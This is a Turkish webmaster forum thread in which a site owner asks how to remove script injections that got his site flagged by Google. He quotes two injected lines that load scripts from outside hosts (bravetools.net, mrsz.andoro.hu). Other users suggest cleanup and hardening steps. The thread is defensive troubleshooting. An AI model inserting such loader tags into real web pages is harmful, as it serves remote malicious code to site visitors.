sitemdeki bu kodu nasıl kaldırırım

Question

arkadaşlar sitemde kod var o kod yuzunden google siteme kötü niyetli yazılım içeriyor diye fişlemiş kodu bulamadım bir türlü kaynağı görüntülediğimde görüyorum ama dosyalarımın içinde bulamadım nasıl çözebiliriz bi yardımcı olun...
1. kod bu <scriptsrc=http://bravetools.net/en/mytools.php ></script>

2. kodda bu document.write('<script src=http://mrsz.andoro.hu/db/logout.
php ><\/script>');

taka · Answer

ya kaynakta görüyorum, Googlebot gibi Tara yapıyorum oradada görüyom ust.php dosyasının içinde aynı yer buluyom ama o kod yok orada gizli kodmu var ne anlamadım ya

netreklam · Answer

taka adlı üyeden alıntı:						mesajı görüntüle									arkadaşlar sorunu çözdümde 2 gün sonra gene aynısı oldu şimdi başka kod eklenmiş bu kodun siteme girmemesi için ne yapıbilirım şifreleri yeniden değiştim sayaç kodu gecende bana şöyle bir mail göndrmiş 
 

 
bununla bir ilgisi varmı acaba 		ftp şifreni değiştirerek işe başlayabilirsin. bilgisayarında iframe virüslerinin dağılmasına sebep olan bir virüs olması büyük ihtimal. eset nod 32 smart securty ile tarama yapmanı tavsiye ederim.

virüsün bulaştığı dosyaların yazılabilrilik ayarlarını 644 yapabilirsin.

KruGer · Answer

bu tur sorunlarla cok karşılaşıyordum bende 2 gunde bir sitem fişleniyordu googlede birileri acık bulmuş kod koyup duruyorlardı en sonunda admin panelinin ismini değiştirdim değişik isim yazdım işim oldugu zamanlarda tekrar admin.php yapıyorum işimi bitincede admin panelinde tekrar alimehmet.php yapıyorum bunu yapmaya başladıktan sonrada sorunla karşılaşmadık hiç

taka · Answer

arkadaşlar sorunu çözdümde 2 gün sonra gene aynısı oldu şimdi başka kod eklenmiş bu kodun siteme girmemesi için ne yapıbilirım şifreleri yeniden değiştim sayaç kodu gecende bana şöyle bir mail göndrmiş 
 
						Alıntı										22.02.2010 tarihinde Sayyac kodumuzda bulunan sayyac.net adresi google tarafından zararlı 
içerik barındırıldığı gerekçesiyle işaretlenmiştir.
Bu gün boyunca özellikle google chrome tarafından sayyac.net kodu olan sitelerinize bazı 
kullanıcıların girememiş olması muhtemeldir.
Bu sorun aynı gün içerisinde çözülmüş ve google tarafından sorunun nedeni ile ilgili henüz 
bir bilgi alınamamıştır.
Sayyac.com her zaman ücretsiz ve sorunsuz hizmet vermek için siz site sahiplerinin yanında 
olacaktır.
Lütfen Sayyac.com sayac koduna zararlı kod yerleştiriyor şeklindeki asılsız iddialara kulak 
asmayınız. 		bununla bir ilgisi varmı acaba

taka · Answer

tşkler yardımlar için çözdün sonunda

Mstyy · Answer

dostum yapacağin şey çok basit şimdi plugin e gir ve orada index.php içinde base64 ile başlayan şifrelenmiş kodları göreceksin (eğer görürsen bana özelden ulaş msn den yardımcı olurum)

taka · Answer

jQuery(document).ready(function($) { $('a[rel*=facebox]').facebox() })

kod sitenin bu bölümünde çıkıyo kodun oldugu bölümü boluyom jQuery(document).ready(function($) { $('a[rel*=facebox]').facebox() })

ama gördüğünüz gibi dosyanın içi böyle ama kaynağı görüntülediğimde bu bölüm jQuery(document).ready(function($) { $('a[rel*=facebox]').facebox() })

böyle çıkıyo

taka · Answer

yok bulamadım

Bloomm · Answer

wp-config e bakabilirsin. birde şifreli şekilde koyulmuş olabilir.

taka · Answer

yok kardeş onun içinede baktımya

Crazy · Answer

.js dosyaları varsa sitende onlarada bakın.

kacar82 · Answer

.htacces e bakmayı dene

bende bi defa oldu bu dosyanın içinden silince gidiyordu enteresan bişeydi...

Ama ek dosyalarda vardır .htaccess içinde kod varsa

HS_Abdullah · Answer

Sunucu linux ise ve kendinizin ise dosyalar içerisinde arama yaparak bulabilirsiniz her ikiside değilse tüm dizini pc ye çekin ve  "Advanced Find And Replace" programını kullanarak kodu aratın. İyi Çalışmalar.

taka · Answer

www.likittube.com

x2841x · Answer

site adresini at bide ben bakim.

taka · Answer

baktım

x2841x · Answer

Dbye baktınmı